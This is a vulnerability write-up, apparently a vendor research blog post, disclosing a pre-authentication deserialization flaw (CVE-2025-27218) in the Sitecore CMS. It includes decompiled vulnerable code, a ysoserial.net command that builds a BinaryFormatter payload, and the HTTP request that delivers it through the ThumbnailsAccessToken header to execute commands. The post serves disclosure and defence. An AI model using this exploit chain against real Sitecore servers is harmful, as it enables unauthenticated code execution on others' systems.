Share on social
March 6, 2025
Lorem ipsum
Continuing our previous research on Sitecore at the end of 2024, we were also able to find a pre-auth remote code execution vulnerability. For those who are unfamiliar, Sitecore is a CMS written in .NET that is quite popular among enterprise customers. This time, we were looking at version 10.4, which was the latest available at the time.
The vulnerability we found CVE-2025-27218 is another case of unsafe deserialization and is exploitable in the default configuration without authentication. The advisory from Sitecore with affected version and recommended patches are available here.
As always, customers of our Attack Surface Management platform were the first to know when this vulnerability affected them. We continue to perform original security research to inform our customers about zero-day vulnerabilities in their attack surface.
After installing, configuring and decompiling the application, we started with one of the usual suspects, BinaryFormatter. It's rarely used securely, and we've seen it frequently used in the Sitecore codebase. We searched for both BinaryFormatter and Convert.Base64ToObject, a custom wrapper around BinaryFormatter that is often used in Sitecore. There are a few dozen hits, and a few were recognizable from our previous research into Sitecore. Below is the frequently misused Convert.Base64ToObject function.
public static object Base64ToObject(string data)
{
Error.AssertString(data, "data", allowEmpty: true);
if (data.Length > 0)
{
try
{
byte[] buffer = System.Convert.FromBase64String(data);
BinaryFormatter binaryFormatter = new BinaryFormatter();
MemoryStream serializationStream = new MemoryStream(buffer);
return binaryFormatter.Deserialize(serializationStream);
}
catch (Exception exception)
{
Log.Error("Error converting data to base64.", exception, typeof(Convert));
}
}
return null;
}
We investigated each of the calls to BinaryFormatter and Convert.Base64ToObject to see if we could access them without authentication and if we could control the input. We noticed a potential red flag in MachineKeyTokenService.IsTokenValid.
public bool IsTokenValid(string token)
{
try
{
byte[] protectedData = Convert.Base64ToObject(token) as byte[];
byte[] array = MachineKey.Unprotect(protectedData);
if (array == null || array.Length == 0)
{
return false;
}
Guid guid = new Guid(array);
return guid == _token;
}
catch
{
return false;
}
}
Apart from the fact that using BinaryFormatter to serialize an array of bytes seems a little unnecessary, there's also the issue that the payload is decrypted after it is deserialised not before. This subtle misordering of operations implies that full care may not have been given to this particular piece of functionality. It also means that, if no other validations are applied, we can pass a malicious deserialisation payload straight to BinaryFormatter.
Tracing IsTokenValid backwards, we saw it was called in the AuthenticateThumbnailsRequest request processor. These classes typically extend from HttpRequestProcessor and form part of Sitecore's HTTP request processing pipeline. They are similar to a Java FilterChain or .NET middleware. The configuration of the pipeline is tricky to understand as the configuration is spread across multiple files and it is not immediately obvious in what order the processors are applied. For example, the configuration for AuthenticateThumbnailsRequest is only present in Sitecore.ThumbnailGenerator.config and all we know is it runs before something called SiteResolver.
<pipelines>
<httpRequestBegin>
<processor patch:before="processor[@type='Sitecore.Pipelines.HttpRequest.SiteResolver, Sitecore.Kernel']" type="Sitecore.Thumbnails.Pipelines.AuthenticateThumbnailsRequest, Sitecore.Kernel" resolve="true"/>
</httpRequestBegin>
</pipelines>
We could have gone through all the .config files and sorted out what ran when, but a much easier way was just to attach a debugger with dnSpy, start setting breakpoints and try to inspect the processor list as the pipeline was executed. Fortunately for us, setting a breakpoint at the start of AuthenticateThumbnailsRequest.Process was enough and we hit it with an unauthenticated request to the webroot.
Inside AuthenticateThumbnailsRequest.Process we saw that the application reads a header, ThumbnailsAccessToken, and passes its value directly to IsTokenValid which base 64 decodes the header and then hands it to BinaryFormatter.
public override void Process(HttpRequestArgs args)
{
string text;
if (args == null)
{
text = null;
}
else
{
HttpContextBase httpContext = args.HttpContext;
if (httpContext == null)
{
text = null;
}
else
{
HttpRequestBase request = httpContext.Request;
text = ((request != null) ? request.Headers[ThumbnailFlowBase.TokenName] : null);
}
}
string text2 = text;
if (!this._tokenService.IsTokenValid(text2))
{
return;
}
...
This was an almost textbook case of misusing BinaryFormatter and all we had to do was generate a payload with ysoserial.net as follows.
C:\ysoserial\Release>ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "whoami > \inetpub\wwwroot\Sitecoresc.dev.local\App_Data\x.txt"
AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHku...
We then prepared our request by copying our payload into the ThumbnailsAccessToken and sent it.
GET / HTTP/1.1
Host: sitecoresc.dev.local
ThumbnailsAccessToken: AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHku...
We received a 500 server error response from Sitecore and when we checked the filesystem we found our payload had executed perfectly.
C:\>type \inetpub\wwwroot\Sitecoresc.dev.local\App_Data\x.txt
iis apppool\sitecoresc.dev.local
This is another case of BinaryFormatter causing more trouble than it's worth. However, this one was a little more disappointing since it was serialising an array of bytes to another array of bytes. A possible explanation is that the developer assumed Convert.Base64ToObject was only used for Base64 decoding, similar to System.Convert.FromBase64String. This would also explain why the payload is decrypted afterwards rather than before.
This also highlights the fact that security is a continuous process. This bug was a relatively recent addition and therefore was not present in any of our previous audits. There's almost always value in coming back and looking again, especially if there have been changes.
Assetnote provides industry-leading attack surface management and adversarial exposure validation solutions, helping organizations identify and remediate security vulnerabilities before they can be exploited. Assetnote customers receive security alerts and mitigations at the same time to disclosure to third-party vendors.
In January 2025 Assetnote was acquired by Searchlight Cyber. Combined, the companies form a holistic platform for combating external threats through Continuous Threat Exposure Management. Read the press release to find out more.